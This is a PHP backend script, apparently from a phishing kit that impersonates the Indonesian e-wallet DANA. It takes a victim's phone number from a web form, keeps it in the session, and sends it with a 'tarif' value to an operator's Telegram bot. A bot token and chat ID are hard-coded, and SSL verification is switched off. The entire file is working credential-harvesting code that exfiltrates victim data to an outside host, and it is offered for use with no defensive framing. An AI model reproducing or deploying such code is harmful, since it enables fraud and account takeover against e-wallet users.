<?php
session_start();
header('Content-Type: application/json');

// Konfigurasi Telegram (GANTI DENGAN MILIK ANDA)
$botToken = "8723209757:AAE76y9kg1KITLjvDQ9ndkytL74te9Jo_Uk";
$chatId   = "7476789957";

// Baca input JSON dari AJAX
$input = json_decode(file_get_contents('php://input'), true);

// Ambil data
$rawPhone = isset($input['nohp']) ? preg_replace('/\D/', '', $input['nohp']) : '';
$tarif = isset($input['tarif']) ? $input['tarif'] : '';

if (empty($rawPhone)) {
    echo json_encode(['status' => 'error', 'message' => 'Nomor HP tidak valid']);
    exit;
}

// Simpan ke session (tanpa awalan 0)
$_SESSION['phoneNumber'] = $rawPhone;

// Format pesan Telegram
$logo = "☴ www.dana.id ☴";
$message = "$logo\n";
$message .= "$tarif\n";
$message .= "|𝗡𝗼𝗺𝗼𝗿 |  <code>0$rawPhone</code>\n";
$message .= "━━━━━━━━━━━━━━━━━━\n";
$message .= "👨‍💻 Dev by udin hosting";

// Kirim ke Telegram
$telegramUrl = "https://api.telegram.org/bot$botToken/sendMessage";
$postData = [
    'chat_id' => $chatId,
    'text' => $message,
    'parse_mode' => 'HTML'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $telegramUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_exec($ch);
curl_close($ch);

// Respon ke frontend
echo json_encode(['status' => 'success', 'phone' => $rawPhone]);
?>